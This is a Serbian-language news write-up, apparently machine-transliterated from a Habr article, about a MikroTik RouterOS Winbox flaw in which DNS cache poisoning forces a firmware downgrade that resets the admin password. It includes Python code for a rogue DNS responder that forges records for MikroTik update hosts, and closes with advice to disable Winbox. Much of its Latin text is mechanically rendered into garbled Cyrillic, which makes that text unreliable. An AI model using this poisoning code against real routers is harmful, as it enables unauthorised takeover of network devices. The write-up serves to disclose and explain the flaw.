Рањивост Бацкпорт-а у РоутерОС-у доводи у опасност стотине хиљада уређаја

Рањивост Бацкпорт-а у РоутерОС-у доводи у опасност стотине хиљада уређаја

Могућност даљинског уклањања уређаја заснованих на РоутерОС-у (Микротик) доводи у опасност стотине хиљада мрежних уређаја. Рањивост је повезана са тровањем ДНС кеша Винбок протокола и омогућава вам да учитате застарели (са подразумеваним ресетовањем лозинке) или модификовани фирмвер на уређај.

Рањивост Бацкпорт-а у РоутерОС-у доводи у опасност стотине хиљада уређаја

Детаљи рањивости

РоутерОС терминал подржава команду решавања за ДНС тражење.

Рањивост Бацкпорт-а у РоутерОС-у доводи у опасност стотине хиљада уређаја

Овим захтевом обрађује бинарни систем који се зове разрешивач. Ресолвер је један од многих бинарних датотека које се повезују на РоутерОС-ов Винбок протокол. На високом нивоу, „поруке“ које се шаљу на Винбок порт могу се усмерити на различите бинарне датотеке у РоутерОС-у на основу шеме нумерисања засноване на низу.

Подразумевано, РоутерОС има онемогућену функцију ДНС сервера.

Рањивост Бацкпорт-а у РоутерОС-у доводи у опасност стотине хиљада уређаја

Међутим, чак и када је функција сервера онемогућена, рутер одржава сопствену ДНС кеш меморију.

Рањивост Бацкпорт-а у РоутерОС-у доводи у опасност стотине хиљада уређаја

Када направимо захтев користећи винбок_днс_рекуест на пример екампле.цом, рутер ће кеширати резултат.

Рањивост Бацкпорт-а у РоутерОС-у доводи у опасност стотине хиљада уређаја

Пошто можемо да наведемо ДНС сервер преко којег треба да иде захтев, унос погрешних адреса је тривијалан. На пример, можете да конфигуришете имплементацију ДНС сервера из Филип Клаусда увек одговори А записом који садржи ИП адресу 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Сада ако тражите екампле.цом користећи Винбок, можете видети да је ДНС кеш рутера затрован.

Рањивост Бацкпорт-а у РоутерОС-у доводи у опасност стотине хиљада уређаја

Наравно, тровање екампле.цом није од велике користи јер га рутер заправо неће користити. Међутим, рутер треба да приступи упграде.микротик.цом, цлоуд.микротик.цом, цлоуд2.микротик.цом и довнлоад.микротик.цом. А захваљујући још једној грешци, могуће их је све одједном отровати.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Рутер тражи једну дозволу, а ми враћамо пет. Рутер не кешира све ове одговоре исправно.

Рањивост Бацкпорт-а у РоутерОС-у доводи у опасност стотине хиљада уређаја

Очигледно, овај напад је такође користан ако рутер делује као ДНС сервер, јер омогућава напад на клијенте рутера.

Овај напад вам такође омогућава да искористите озбиљнију рањивост: надоградите или вратите верзију РоутерОС-а. Нападач поново креира логику сервера за ажурирање, укључујући дневник промена, и приморава РоутерОС да застарелу (рањиву) верзију сматра актуелном. Опасност овде лежи у чињеници да када се верзија „ажурира“, администраторска лозинка се ресетује на подразумевану вредност – нападач се може пријавити на систем са празном лозинком!


Напад је прилично ефикасан, упркос чињеници да аутор имплементира још неколико вектора, укључујући и оне који се односе на уграђивање бацкдоор-а у фирмвер, али ово је већ сувишна техника и њено коришћење у нелегитимне сврхе је незаконито.

заштита

Једноставно онемогућавање Винбок-а омогућава вам да се заштитите од ових напада. Упркос погодности администрације преко Винбок-а, боље је користити ССХ протокол.

Извор: ввв.хабр.цом

Додај коментар